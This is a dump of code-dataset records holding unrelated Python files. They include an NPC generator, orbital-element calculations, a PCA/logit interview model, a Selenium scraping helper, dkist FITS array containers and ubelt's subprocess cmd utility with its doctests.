rd.choice(preffixes) + rd.choice(intermediate) + rd.choice(suffixes)\n\ndef get_npc_languages(npc_dict, intelligence, race, alignment):\n languages = \"Common, {}\".format(alignment.capitalize())\n available_languages = npc_dict[\"languages\"]\n nbr = 0\n if intelligence >= 17:\n nbr += 2\n elif 17 > intelligence >= 14:\n nbr += 1\n elif 9 > intelligence >= 6:\n return \"Common spoken with difficulties\"\n elif 6 > intelligence >= 3:\n return \"Can't read common, speaks with a lot of trouble\"\n if race.lower() is not \"human\":\n languages += \", {}\".format(race.capitalize())\n available_languages.remove(race.lower())\n for i in range(nbr):\n lang = rd.choice(available_languages)\n available_languages.remove(lang)\n languages += \", {}\".format(lang.capitalize())\n return languages\n\ndef get_npc_beliefs(npc_dict, alignment):\n gods = npc_dict[\"churches\"]\n law_gods = []\n neu_gods = []\n cha_gods = []\n for god in gods:\n if \"on\" in god or \"or\" in god:\n law_gods.append(god)\n elif \"k\" in god or \"sh\" in god or \"x\" in god or \"y\" in god:\n cha_gods.append(god)\n else:\n neu_gods.append(god)\n if \"Lawful\" in alignment:\n return rd.choice(law_gods)\n elif \"Chaotic\" in alignment:\n return rd.choice(cha_gods)\n else:\n return rd.choice(neu_gods)\n\ndef get_npc_motivation(npc_dict):\n recent_past = rd.choice(npc_dict[\"recent_past\"])\n motivation = rd.choice(npc_dict[\"motivations\"])\n if \"[details]\" in motivation:\n details = rd.choice(npc_dict[\"details\"])\n details = rd.choice(npc_dict[details[1:-1]])\n \n return recent_past, motivation\n\ndef get_npc_belongings(npc_dict, level):\n npc_ac = 9\n npc_belongings = \"\"\n return npc_ac, npc_belongings","sub_path":"lib/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":17230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"212305268","text":"import numpy as np\n\nglobal w_set\nw_set = 2.916862974013461E+01\n\n## JD = 2457387.500000000\n\nglobal mu\nmu = 6.67*10**(-11.) * 1.989 * 10**(30.)\n\nau_m = 1.49597870*10**11.\n\ndef current_r_v(peri,apo,w, nu):\n\tecc = (peri-apo)/(peri + apo)\n\tw = (w - w_set)*np.pi/180.\n\tnu = nu*np.pi/180.\n\ta = (apo + peri)/2\n\tb = np.sqrt(apo*peri)\n\tr = a*(1-ecc**2)/(1 + ecc*np.cos(nu - w))*au_m\n\tepsilon = -mu/(2*a*au_m)\n\tv = np.sqrt(2*epsilon + 2*mu/r)\n\th = np.sqrt(((ecc**2)-1)*(mu**2)/(2*epsilon))\n\tphi = np.arccos(h/(r*v))\n\tvx = v*np.cos(np.pi/2 + phi + nu - w)\n\tvy = v*np.sin(np.pi/2 + phi + nu - w)\n\tx = r*np.cos(nu - w)\n\ty = r*np.sin(nu - w)\n\treturn [r/au_m,[x,y],v, [vx, vy]]\n\t\n#print (current_r_v(3.075000725039972E-01, 4.666963367812840E-01, 2.916862974013461E+01, 3.071841774966052E+02))\ndata = np.loadtxt(open('planets.csv','r'),delimiter=',',dtype = {'names':('object','peri','apo','w','nu'), 'formats':('S10','f10','f10','f10','f10')})\nr_vec = []\nv_vec = []\nfor i in range(len(data)):\n\tr, pos, v, vvec = current_r_v(float(data[i][1]),float(data[i][2]),float(data[i][3]),float(data[i][4]))\n\tr_vec.append(pos)\n\tv_vec.append(vvec)\n\t\nprint(r_vec)\nprint(v_vec)","sub_path":"orbit_element.py","file_name":"orbit_element.py","file_ext":"py","file_size_in_byte":1147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"121384499","text":"# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution(object):\n def findTarget(self, root, k):\n \"\"\"\n :type root: TreeNode\n :type k: int\n :rtype: bool\n \"\"\"\n if root is None:\n return False\n self.list = []\n def inOrder(root):\n if root is None:\n return \n inOrder(root.left)\n self.list.append(root.val)\n inOrder(root.right)\n inOrder(root)\n low = 0\n heigh = len(self.list) - 1\n while(low k:\n heigh -= 1\n else:\n low += 1\n return False\n ","sub_path":"653. Two Sum IV - Input is a BST/653. Two Sum IV - Input is a BST.py","file_name":"653. Two Sum IV - Input is a BST.py","file_ext":"py","file_size_in_byte":909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"498195980","text":"########################################################################################################################\r\n# Code to solve state farms interview- by build a logit model BUT THIS WAS NOT FOUND TO BE A FRUITFUL APPROACH\r\n# Princomping proved to be a good idea. Unlike real random data, EVERYTHING was useful and because of that\r\n# This approach was abandonded for GBM which is more flexible, and the not quite as well performing k-nearest neigh.\r\n#\r\n# Remarks:\r\n# Preliminary variable processing done in StateFarmExercisizeLoadData.py\r\n# Basic variable selection begun in VariableEDA.ipynb\r\n#\r\n# Step 0: Header & load data\r\n# 1: PCA\r\n# 2: Lasso\r\n# 3: Logit model, was worried about a poor set up on lasso.\r\n# 4: Diagnostics\r\n#\r\n########################################################################################################################\r\n\r\n##### Step 0: Header #####\r\n\r\nimport os\r\nimport gc\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn import preprocessing\r\n\r\npd.options.display.max_rows = 999\r\npd.options.display.max_columns = 999\r\npd.options.mode.chained_assignment = None\r\n\r\nTrain1 = pd.read_csv('C:/Users/szreb/Documents/CodeSandBox/StateFarmExercisize/Data/Train1.csv', sep = '|')\r\nTrain2 = pd.read_csv('C:/Users/szreb/Documents/CodeSandBox/StateFarmExercisize/Data/Train2.csv', sep = '|')\r\n\r\npd.read_csv('C:/Users/szreb/Documents/CodeSandBox/StateFarmExercisize/Data/Test.csv', sep = '|').shape\r\n\r\nTrain1['Sample'] = 'Train1'\r\nTrain2['Sample'] = 'Train2'\r\n\r\nTrain1['one'] = 1\r\nTrain2['one'] = 1\r\n\r\nTopPredList = ['x37', 'x75', 'x58', 'x97', 'x41_rec_num', 'x99', 'x96',\r\n 'x83', 'x51', 'x56', 'x79', 'x70', 'x66', 'x72', 'x1',\r\n 'x33', 'x63', 'x22', 'x5', 'x2', 'x78', 'x50', 'x40',\r\n 'x69', 'x3', 'x21', 'x73', 'x85', 'x20', 'x45_rec_num',\r\n 'x44', 'x10', 'x0','x68SummerIndicator']\r\n\r\n##### Step 1: compute principle components #####\r\nfrom sklearn.preprocessing import StandardScaler\r\nfrom sklearn.decomposition import PCA\r\n\r\nTrain1Recale = StandardScaler().fit_transform(Train1[TopPredList])\r\npca = PCA(n_components=25)\r\nPrinComp = pd.DataFrame(pca.fit_transform(Train1Recale))\r\nPrinComp.head()\r\n\r\ncolnames = []\r\nfor Index in PrinComp.columns:\r\n colnames.append('PC' + str(Index))\r\n\r\nPrinComp.columns = colnames\r\n\r\n##### Step 2: Lasso Model on top 35'ish predictors #####\r\n\r\nfrom sklearn.linear_model import LogisticRegression\r\n\r\nLasso = LogisticRegression(penalty='l1', verbose = 1)\r\nLasso.fit(PrinComp, Train1['y'])\r\n\r\nLasso.verbose\r\nLasso.coef_\r\n\r\n##### step 3: Dig a bit deeper with logit model #####\r\n\r\nVarList = ['PC0', #'PC1', 'PC2',\r\n 'PC3', 'PC4', 'PC5', 'PC6', 'PC7', 'PC8', 'PC9', 'PC10',\r\n 'PC11', 'PC12', 'PC13', 'PC14',\r\n #'PC15',\r\n 'PC16', 'PC17', 'PC18', 'PC19', 'PC20',\r\n 'PC21', 'PC22']\r\n\r\nFirstStab = sm.Logit(Train1['y'], sm.add_constant(PrinComp[VarList] ) )\r\nresult = FirstStab.fit()\r\nprint(result.summary())\r\n\r\nPrinComp['Predict'] = result.predict()\r\nPrinComp['one'] = 1\r\nPrinComp['y'] = Train1['y']\r\n\r\n##### step 4: diagnostics #####\r\n\r\ndef LazyKS(XvarName, df = Train1, WtVarName = 'one', LossVarName = 'y'):\r\n # Calculates a weighted KS, using Random number to approximately deal with deiscreteness, rather than aggregation\r\n # bit lazy passing data frames...\r\n dflocal = df[[XvarName, WtVarName, LossVarName]].sort_values([XvarName]).reset_index()\r\n dflocal['CDFWt'] = dflocal[WtVarName].cumsum() /dflocal[WtVarName].sum()\r\n dflocal['CDFy'] = dflocal[LossVarName].cumsum() /dflocal[LossVarName].sum()\r\n return max(np.abs(dflocal['CDFy'] - dflocal['CDFWt']))\r\n\r\nLazyKS(XvarName='Predict', df = PrinComp, WtVarName = 'one', LossVarName = 'y')\r\n\r\n# results are shockingly good","sub_path":"HelperFct/StateFarmExercisizePrinCompLogitModel.py","file_name":"StateFarmExercisizePrinCompLogitModel.py","file_ext":"py","file_size_in_byte":3876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"477747369","text":"#!/usr/bin/env python3\n\nimport sys\n\nfrom broker.eblocbroker.Contract import Contract\n\n# from broker.config import logging # noqa: F401\nfrom broker.utils import _colorize_traceback\n\nif __name__ == \"__main__\":\n contract = Contract()\n try:\n providers = contract.get_providers()\n if len(providers) == 0:\n print(\"There is not any registered provider\")\n\n for provider in providers:\n print(provider)\n except Exception:\n _colorize_traceback()\n sys.exit(1)\n","sub_path":"broker/eblocbroker/get_providers.py","file_name":"get_providers.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"203390047","text":"# my toolkit for selenium\n# this toolkit has the main driver + shortcut functions for repetitive code\n\nfrom selenium.webdriver import Chrome\nfrom selenium.webdriver.chrome.options import Options\n\n# for explicit waiting\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\n\n# if element not exist\nfrom selenium.common.exceptions import NoSuchElementException\n\nclass Toolkit:\n def __init__(self):\n self._set_options()\n\n # init browser\n self.driver = Chrome(executable_path='./chromedriver', options=self.options)\n\n def _set_options(self):\n self.options = Options()\n\n # go headless\n user_agent = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.50 Safari/537.36'\n self.options.add_argument('--headless')\n self.options.add_argument(f'user-agent={user_agent}')\n self.options.add_argument('--ignore-ssl-errors')\n self.options.add_argument('--ignore-certificate-errors')\n self.options.add_argument('--disable-gpu')\n self.options.add_argument('--window-size=1280,1000')\n self.options.add_argument('--allow-insecure-localhost')\n self.options.add_argument('--allow-running-insecure-content')\n self.options.add_argument('--no-sandbox')\n\n # don't load images\n self.options.add_argument('--blink-settings=imagesEnabled=false')\n\n # scrape using disk cache: faster\n prefs = {'disk-cache-size': 4096}\n self.options.add_experimental_option('prefs', prefs)\n\n def wait(self, xpath):\n try:\n return WebDriverWait(self.driver, 30).until(\n EC.visibility_of_element_located((By.XPATH, xpath))\n )\n except Exception as e:\n print(e)\n\n def wait_text(self, xpath, text):\n try:\n return WebDriverWait(self.driver, 30).until(\n EC.text_to_be_present_in_element((By.XPATH, xpath), text)\n )\n except Exception as e:\n print(e)\n\n def click(self, xpath):\n clickable = self.driver.find_element_by_xpath(xpath)\n clickable.click()\n\n def input_field(self, xpath, value):\n input_field = self.driver.find_element_by_xpath(xpath)\n input_field.send_keys(value)\n\n def capture(self, xpath, image_path):\n captcha = self.driver.find_element_by_xpath(xpath)\n captcha.screenshot(image_path)\n\n def is_exist(self, xpath):\n try:\n self.driver.find_element_by_xpath(xpath)\n return True\n except NoSuchElementException:\n return False\n","sub_path":"my_selenium.py","file_name":"my_selenium.py","file_ext":"py","file_size_in_byte":2703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"381194936","text":"\"\"\"\nThis submodule provides tools for resolving arrays of\n`asdf.ExternalArrayReference` objects to Python array-like objects.\n\"\"\"\nimport abc\nfrom pathlib import Path\nfrom functools import partial\n\nimport dask.array as da\nimport numpy as np\n\nfrom asdf.tags.core.external_reference import ExternalArrayReference\nfrom sunpy.util.decorators import add_common_docstring\n\nfrom dkist.io.loaders import AstropyFITSLoader\n\n__all__ = ['BaseFITSArrayContainer', 'NumpyFITSArrayContainer', 'DaskFITSArrayContainer']\n\n\n# This class should probably live in asdf, and there are PRs open to add it.\n# However, there are issues with schemas if it's in asdf, and also I don't want\n# to depend on asdf master right now, so I am copying it in here.\nclass ExternalArrayReferenceCollection:\n \"\"\"\n A homogeneous collection of `asdf.ExternalArrayReference` like objects.\n\n This class differs from a list of `asdf.ExternalArrayReference` objects\n because all of the references have the same shape, dtype and target. This\n allows for much more yaml and schema efficient storage in the asdf tree.\n\n Parameters\n ----------\n\n fileuris: `list` or `tuple`\n An interable of paths to be referenced. Can be nested arbitarily deep.\n\n target: `object`\n Some internal target to the data in the files. Examples may include a HDU\n index, a HDF path or an asdf fragment.\n\n dtype: `str`\n The (numpy) dtype of the contained arrays.\n\n shape: `tuple`\n The shape of the arrays to be loaded.\n \"\"\"\n\n @classmethod\n def _validate_homogenaity(cls, shape, target, dtype, ear):\n \"\"\"\n Ensure that if constructing from `asdf.ExternalArrayReference` objects\n all of them have the same shape, dtype and target.\n \"\"\"\n if isinstance(ear, (list, tuple)):\n return list(map(partial(cls._validate_homogenaity, shape, target, dtype), ear))\n\n if not isinstance(ear, ExternalArrayReference):\n raise TypeError(\"Every element of must be an instance of ExternalArrayReference.\")\n if ear.dtype != dtype:\n raise ValueError(f\"The Reference {ear} does not have the same dtype as the first reference.\")\n if ear.shape != shape:\n raise ValueError(f\"The Reference {ear} does not have the same shape as the first reference.\")\n if ear.target != target:\n raise ValueError(f\"The Reference {ear} does not have the same target as the first reference.\")\n return ear.fileuri\n\n @classmethod\n def from_external_array_references(cls, ears, **kwargs):\n \"\"\"\n Construct a collection from a (nested) iterable of\n `asdf.ExternalArrayReference` objects.\n \"\"\"\n shape = ears[0].shape\n dtype = ears[0].dtype\n target = ears[0].target\n\n for i, ele in enumerate(ears):\n uris = cls._validate_homogenaity(shape, target, dtype, ears)\n\n return cls(uris, target, dtype, shape, **kwargs)\n\n def __init__(self, fileuris, target, dtype, shape):\n self.shape = tuple(shape)\n self.dtype = dtype\n self.target = target\n self.fileuris = fileuris\n\n def _to_ears(self, urilist):\n if isinstance(urilist, (list, tuple)):\n return list(map(self._to_ears, urilist))\n return ExternalArrayReference(urilist, self.target, self.dtype, self.shape)\n\n @property\n def external_array_references(self):\n \"\"\"\n Represent this collection as a list of `asdf.ExternalArrayReference` objects.\n \"\"\"\n return self._to_ears(self.fileuris)\n\n def __getitem__(self, item):\n uris = self.fileuris[item]\n if isinstance(uris, str):\n uris = [uris]\n return type(self)(uris, self.target, self.dtype, self.shape)\n\n def __len__(self):\n return len(self.fileuris)\n\n def __eq__(self, other):\n uri = self.fileuris == other.fileuris\n target = self.target == other.target\n dtype = self.dtype == other.dtype\n shape = self.shape == other.shape\n\n return all((uri, target, dtype, shape))\n\n @classmethod\n def to_tree(cls, data, ctx):\n node = {}\n node['fileuris'] = data.fileuris\n node['target'] = data.target\n node['datatype'] = data.dtype\n node['shape'] = data.shape\n return node\n\n @classmethod\n def from_tree(cls, tree, ctx):\n return cls(tree['fileuris'], tree['target'], tree['datatype'], tree['shape'])\n\n\ncommon_parameters = \"\"\"\n\n Parameters\n ----------\n\n fileuris: `list` or `tuple`\n An interable of paths to be referenced. Can be nested arbitarily deep.\n\n target: `object`\n Some internal target to the data in the files. Examples may include a HDU\n index, a HDF path or an asdf fragment.\n\n dtype: `str`\n The (numpy) dtype of the contained arrays.\n\n shape: `tuple`\n The shape of the arrays to be loaded.\n\n loader : `dkist.io.BaseFITSLoader`\n The loader subclass to use to resolve each `~asdf.ExternalArrayReference`.\n\n kwargs : `dict`\n Extra keyword arguments are passed to the loader class.\n\"\"\"\n\n@add_common_docstring(append=common_parameters)\nclass BaseFITSArrayContainer(ExternalArrayReferenceCollection, metaclass=abc.ABCMeta):\n \"\"\"\n A collection of references to homogenous FITS arrays.\n \"\"\"\n\n @classmethod\n def from_tree(cls, node, ctx):\n # TODO: Work out a way over overriding this at dataset load.\n filepath = Path((ctx.uri or \".\").replace(\"file:\", \"\"))\n base_path = filepath.parent\n\n # TODO: The choice of Dask and Astropy here should be in a config somewhere.\n array_container = DaskFITSArrayContainer(node['fileuris'],\n node['target'],\n node['datatype'],\n node['shape'],\n loader=AstropyFITSLoader,\n basepath=base_path)\n return array_container\n\n\n def __init__(self, fileuris, target, dtype, shape, *, loader, **kwargs):\n super().__init__(fileuris, target, dtype, shape)\n reference_array = np.asarray(self.external_array_references, dtype=object)\n\n # If the first dimension is one we are going to squash it.\n reference_shape = self.shape\n if reference_shape[0] == 1:\n reference_shape = reference_shape[1:]\n if len(reference_array) == 1:\n self.output_shape = reference_shape\n else:\n self.output_shape = tuple(list(reference_array.shape) + list(reference_shape))\n\n loader_array = np.empty_like(reference_array, dtype=object)\n for i, ele in enumerate(reference_array.flat):\n loader_array.flat[i] = loader(ele, **kwargs)\n\n self.loader_array = loader_array\n self._loader = partial(loader, **kwargs)\n\n def __getitem__(self, item):\n uris = self.fileuris[item]\n if isinstance(uris, str):\n uris = [uris]\n return type(self)(uris, self.target, self.dtype, self.shape, loader=self._loader)\n\n @property\n def filenames(self):\n \"\"\"\n Return a list of file names referenced by this Array Container.\n \"\"\"\n names = []\n for furi in np.asarray(self.fileuris).flat:\n names.append(furi)\n return names\n\n @abc.abstractproperty\n def array(self):\n \"\"\"\n Return an array type for the given array of external file references.\n \"\"\"\n\n\n@add_common_docstring(append=common_parameters)\nclass NumpyFITSArrayContainer(BaseFITSArrayContainer):\n \"\"\"\n Load an array of `~asdf.ExternalArrayReference` objects into a single\n in-memory numpy array.\n \"\"\"\n\n def __array__(self):\n \"\"\"\n This dosen't seem to work if it returns a Dask array, so it's only\n useful here.\n \"\"\"\n return self.array\n\n @property\n def array(self):\n \"\"\"\n The `~numpy.ndarray` associated with this array of references.\n \"\"\"\n aa = list(map(np.asarray, self.loader_array.flat))\n return np.stack(aa, axis=0).reshape(self.output_shape)\n\n\n@add_common_docstring(append=common_parameters)\nclass DaskFITSArrayContainer(BaseFITSArrayContainer):\n \"\"\"\n Load an array of `~asdf.ExternalArrayReference` objects into a\n `dask.array.Array` object.\n \"\"\"\n\n @property\n def array(self):\n \"\"\"\n The `~dask.array.Array` associated with this array of references.\n \"\"\"\n return stack_loader_array(self.loader_array).reshape(self.output_shape)\n\n\ndef stack_loader_array(loader_array):\n \"\"\"\n Stack a loader array along each of its dimensions.\n\n This results in a dask array with the correct chunks and dimensions.\n\n Parameters\n ----------\n loader_array : `dkist.io.reference_collections.BaseFITSArrayContainer`\n\n Returns\n -------\n array : `dask.array.Array`\n \"\"\"\n if len(loader_array.shape) == 1:\n return da.stack(loader_to_dask(loader_array))\n stacks = []\n for i in range(loader_array.shape[0]):\n stacks.append(stack_loader_array(loader_array[i]))\n return da.stack(stacks)\n\n\ndef loader_to_dask(loader_array):\n \"\"\"\n Map a call to `dask.array.from_array` onto all the elements in ``loader_array``.\n\n This is done so that an explicit ``meta=`` argument can be provided to\n prevent loading data from disk.\n \"\"\"\n\n if len(loader_array.shape) != 1:\n raise ValueError(\"Can only be used on one dimensional arrays\")\n\n # The meta argument to from array is used to determine properties of the\n # array, such as dtype. We explicitly specify it here to prevent dask\n # trying to auto calculate it by reading from the actual array on disk.\n meta = np.zeros((0,), dtype=loader_array[0].dtype)\n\n to_array = partial(da.from_array, meta=meta)\n\n return map(to_array, loader_array)\n","sub_path":"dkist/io/array_containers.py","file_name":"array_containers.py","file_ext":"py","file_size_in_byte":9979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"319761707","text":"from distutils.core import setup\n\nVERSION = \"0.0.1\"\n\ndependencies = [\"aiohttp\", \"parse\", \"marshmallow\"]\n\nsetup(\n name=\"nflstats\",\n author=\"No Huddle\",\n version=VERSION,\n packages=[\"nflstats\"],\n platforms=\"ANY\",\n url=\"https://github.com/no-huddle/nflstats\",\n install_requires=dependencies,\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"141284659","text":"'''A program that prsesnts movie's trailers through a web browser'''\n\n\nclass Movie():\n '''\n Attributes:\n title (str): title of the movie.\n poster_image_url (str): URL link for the movies's poster image.\n trailer_youtube_url (str): URL link for the movie trailer.\n '''\n\n def __init__(self, title, poster_image_url, trailer_youtube_url):\n self.title = title.title()\n self.poster_image_url = poster_image_url\n self.trailer_youtube_url = trailer_youtube_url\n","sub_path":"media.py","file_name":"media.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"583358663","text":"import torch\nimport triton\n\n\ndef linear(x, w, bias = None):\n print(x.size(), w.size())\n m, k = x.size()\n k, n = w.size()\n out = torch.empty([m, n], device=x.device)\n triton.ops.einsum('mk,nk->mn', x, w, bias)\n if bias is not None:\n out += bias\n return out","sub_path":"python/triton/nn/linear.py","file_name":"linear.py","file_ext":"py","file_size_in_byte":281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"544382230","text":"import time\nimport random\n\ndef example_coroutine(i):\n time_io_wait = 3\n time.sleep(time_io_wait) # This simulates waiting some function \n # to recieve info from the internet for example\n print(\"example {} execyted after {} seconds\".format(i,time_io_wait))\n\ndef main():\n tasks = []\n for i in range(5):\n tasks.append(example_coroutine(i))\n\nt0=time.time()\nmain()\nprint(\"\\nTotal time needed was {}\\n\".format(time.time() -t0 ) )","sub_path":"python_basics/async/test_noasync.py","file_name":"test_noasync.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"109072359","text":"# -*- coding: utf-8 -*-\nr\"\"\"\nThis module exposes the :func:`ubelt.cmd` command, which provides a simple\nmeans for interacting with the commandline. While this does use\n:class:`subprocess.Popen` under the hood, the key draw of :func:`ubelt.cmd` is\nthat you can capture stdout/stderr in your program while simultaneously\nprinting it to the terminal in real time.\n\nExample:\n >>> import ubelt as ub\n >>> # Running with verbose=1 will write to stdout in real time\n >>> info = ub.cmd('echo \"write your command naturally\"', verbose=1)\n write your command naturally\n >>> # Unless `detatch=True`, `cmd` always returns an info dict.\n >>> print('info = ' + ub.repr2(info))\n info = {\n 'command': 'echo \"write your command naturally\"',\n 'cwd': None,\n 'err': '',\n 'out': 'write your command naturally\\n',\n 'proc': ,\n 'ret': 0,\n }\n\"\"\"\nfrom __future__ import absolute_import, division, print_function, unicode_literals\nimport sys\nimport six\nimport warnings\n\nPOSIX = 'posix' in sys.builtin_module_names\n\nif POSIX:\n import select\nelse: # nocover\n select = NotImplemented\n\n__all__ = ['cmd']\n\n# def _run_process(proc):\n# \"\"\" helper for cmd \"\"\"\n# while True:\n# # returns None while subprocess is running\n# retcode = proc.poll()\n# line = proc.stdout.readline()\n# yield line\n# if retcode is not None:\n# # The program has a return code, so its done executing.\n# # Grab any remaining data in stdout\n# for line in proc.stdout.readlines():\n# yield line\n# raise StopIteration('process finished')\n\n\ndef _textio_iterlines(stream):\n \"\"\"\n Iterates over lines in a TextIO stream until an EOF is encountered.\n This is the iterator version of stream.readlines()\n \"\"\"\n line = stream.readline()\n while line != '':\n yield line\n line = stream.readline()\n\n\ndef _proc_async_iter_stream(proc, stream, buffersize=1):\n \"\"\"\n Reads output from a process in a separate thread\n \"\"\"\n from six.moves import queue\n from threading import Thread\n def enqueue_output(proc, stream, stream_queue):\n while proc.poll() is None:\n line = stream.readline()\n # print('ENQUEUE LIVE {!r} {!r}'.format(stream, line))\n stream_queue.put(line)\n\n for line in _textio_iterlines(stream):\n # print('ENQUEUE FINAL {!r} {!r}'.format(stream, line))\n stream_queue.put(line)\n\n # print(\"STREAM IS DONE {!r}\".format(stream))\n stream_queue.put(None) # signal that the stream is finished\n # stream.close()\n stream_queue = queue.Queue(maxsize=buffersize)\n _thread = Thread(target=enqueue_output, args=(proc, stream, stream_queue))\n _thread.daemon = True # thread dies with the program\n _thread.start()\n return stream_queue\n\n\ndef _proc_iteroutput_thread(proc):\n \"\"\"\n Iterates over output from a process line by line\n\n Note:\n WARNING. Current implementation might have bugs with other threads.\n This behavior was seen when using earlier versions of tqdm. I'm not\n sure if this was our bug or tqdm's. Newer versions of tqdm fix this,\n but I cannot guarantee that there isn't an issue on our end.\n\n Yields:\n Tuple[str, str]: oline, eline: stdout and stderr line\n\n References:\n https://stackoverflow.com/questions/375427/non-blocking-read-subproc\n \"\"\"\n from six.moves import queue\n\n # Create threads that read stdout / stderr and queue up the output\n stdout_queue = _proc_async_iter_stream(proc, proc.stdout)\n stderr_queue = _proc_async_iter_stream(proc, proc.stderr)\n\n stdout_live = True\n stderr_live = True\n\n # read from the output asynchronously until\n while stdout_live or stderr_live:\n if stdout_live: # pragma: nobranch\n try:\n oline = stdout_queue.get_nowait()\n stdout_live = oline is not None\n except queue.Empty:\n oline = None\n if stderr_live:\n try:\n eline = stderr_queue.get_nowait()\n stderr_live = eline is not None\n except queue.Empty:\n eline = None\n if oline is not None or eline is not None:\n yield oline, eline\n\n\ndef _proc_iteroutput_select(proc):\n \"\"\"\n Iterates over output from a process line by line\n\n UNIX only. Use :func:`_proc_iteroutput_thread` instead for a cross platform\n solution based on threads.\n\n Yields:\n Tuple[str, str]: oline, eline: stdout and stderr line\n \"\"\"\n from six.moves import zip_longest\n # Read output while the external program is running\n while proc.poll() is None:\n reads = [proc.stdout.fileno(), proc.stderr.fileno()]\n ret = select.select(reads, [], [])\n oline = eline = None\n for fd in ret[0]:\n if fd == proc.stdout.fileno():\n oline = proc.stdout.readline()\n if fd == proc.stderr.fileno():\n eline = proc.stderr.readline()\n yield oline, eline\n\n # Grab any remaining data in stdout and stderr after the process finishes\n oline_iter = _textio_iterlines(proc.stdout)\n eline_iter = _textio_iterlines(proc.stderr)\n for oline, eline in zip_longest(oline_iter, eline_iter):\n yield oline, eline\n\n\ndef _tee_output(proc, stdout=None, stderr=None, backend='auto'):\n \"\"\"\n Simultaneously reports and captures stdout and stderr from a process\n\n subprocess must be created using (stdout=subprocess.PIPE,\n stderr=subprocess.PIPE)\n \"\"\"\n logged_out = []\n logged_err = []\n if backend == 'auto':\n # backend = 'select' if POSIX else 'thread'\n backend = 'thread'\n\n if backend == 'select':\n if not POSIX: # nocover\n raise NotImplementedError('select is only available on posix')\n # the select-based version is stable, but slow\n _proc_iteroutput = _proc_iteroutput_select\n elif backend == 'thread':\n # the thread version is fast, but might run into issues.\n _proc_iteroutput = _proc_iteroutput_thread\n else:\n raise ValueError('backend must be select, thread, or auto')\n\n for oline, eline in _proc_iteroutput(proc):\n if oline:\n if stdout: # pragma: nobranch\n stdout.write(oline)\n stdout.flush()\n logged_out.append(oline)\n if eline:\n if stderr: # pragma: nobranch\n stderr.write(eline)\n stderr.flush()\n logged_err.append(eline)\n return proc, logged_out, logged_err\n\n\ndef cmd(command, shell=False, detach=False, verbose=0, tee=None, cwd=None,\n env=None, tee_backend='auto', check=False, **kwargs):\n \"\"\"\n Executes a command in a subprocess.\n\n The advantage of this wrapper around subprocess is that\n (1) you control if the subprocess prints to stdout,\n (2) the text written to stdout and stderr is returned for parsing,\n (3) cross platform behavior that lets you specify the command as a string\n or tuple regardless of whether or not shell=True.\n (4) ability to detach, return the process object and allow the process to\n run in the background (eventually we may return a Future object instead).\n\n Args:\n command (str or Sequence): bash-like command string or tuple of\n executable and args\n\n shell (bool, default=False): if True, process is run in shell.\n\n detach (bool, default=False):\n if True, process is detached and run in background.\n\n verbose (int, default=0): verbosity mode. Can be 0, 1, 2, or 3.\n\n tee (bool, optional): if True, simultaneously writes to stdout while\n capturing output from the command. If not specified, defaults to\n True if verbose > 0. If detach is True, then this argument is\n ignored.\n\n cwd (PathLike, optional): path to run command\n\n env (str, optional): environment passed to Popen\n\n tee_backend (str, optional): backend for tee output.\n Valid choices are: \"auto\", \"select\" (POSIX only), and \"thread\".\n\n check (bool, default=False): if True, check that the return code was\n zero before returning, otherwise raise a CalledProcessError.\n Does nothing if detach is True.\n\n **kwargs: only used to support deprecated arguments\n\n Returns:\n dict: info - information about command status.\n if detach is False ``info`` contains captured standard out,\n standard error, and the return code\n if detach is False ``info`` contains a reference to the process.\n\n Notes:\n Inputs can either be text or tuple based. On UNIX we ensure conversion\n to text if shell=True, and to tuple if shell=False. On windows, the\n input is always text based. See [3]_ for a potential cross-platform\n shlex solution for windows.\n\n CommandLine:\n python -m ubelt.util_cmd cmd\n python -c \"import ubelt as ub; ub.cmd('ping localhost -c 2', verbose=2)\"\n\n References:\n .. [1] https://stackoverflow.com/questions/11495783/redirect-subprocess-stderr-to-stdout\n .. [2] https://stackoverflow.com/questions/7729336/how-can-i-print-and-display-subprocess-stdout-and-stderr-output-without-distorti\n .. [3] https://stackoverflow.com/questions/33560364/python-windows-parsing-command-lines-with-shlex\n\n Example:\n >>> info = cmd(('echo', 'simple cmdline interface'), verbose=1)\n simple cmdline interface\n >>> assert info['ret'] == 0\n >>> assert info['out'].strip() == 'simple cmdline interface'\n >>> assert info['err'].strip() == ''\n\n Example:\n >>> info = cmd('echo str noshell', verbose=0)\n >>> assert info['out'].strip() == 'str noshell'\n\n Example:\n >>> # windows echo will output extra single quotes\n >>> info = cmd(('echo', 'tuple noshell'), verbose=0)\n >>> assert info['out'].strip().strip(\"'\") == 'tuple noshell'\n\n Example:\n >>> # Note this command is formatted to work on win32 and unix\n >>> info = cmd('echo str&&echo shell', verbose=0, shell=True)\n >>> assert info['out'].strip() == 'str' + chr(10) + 'shell'\n\n 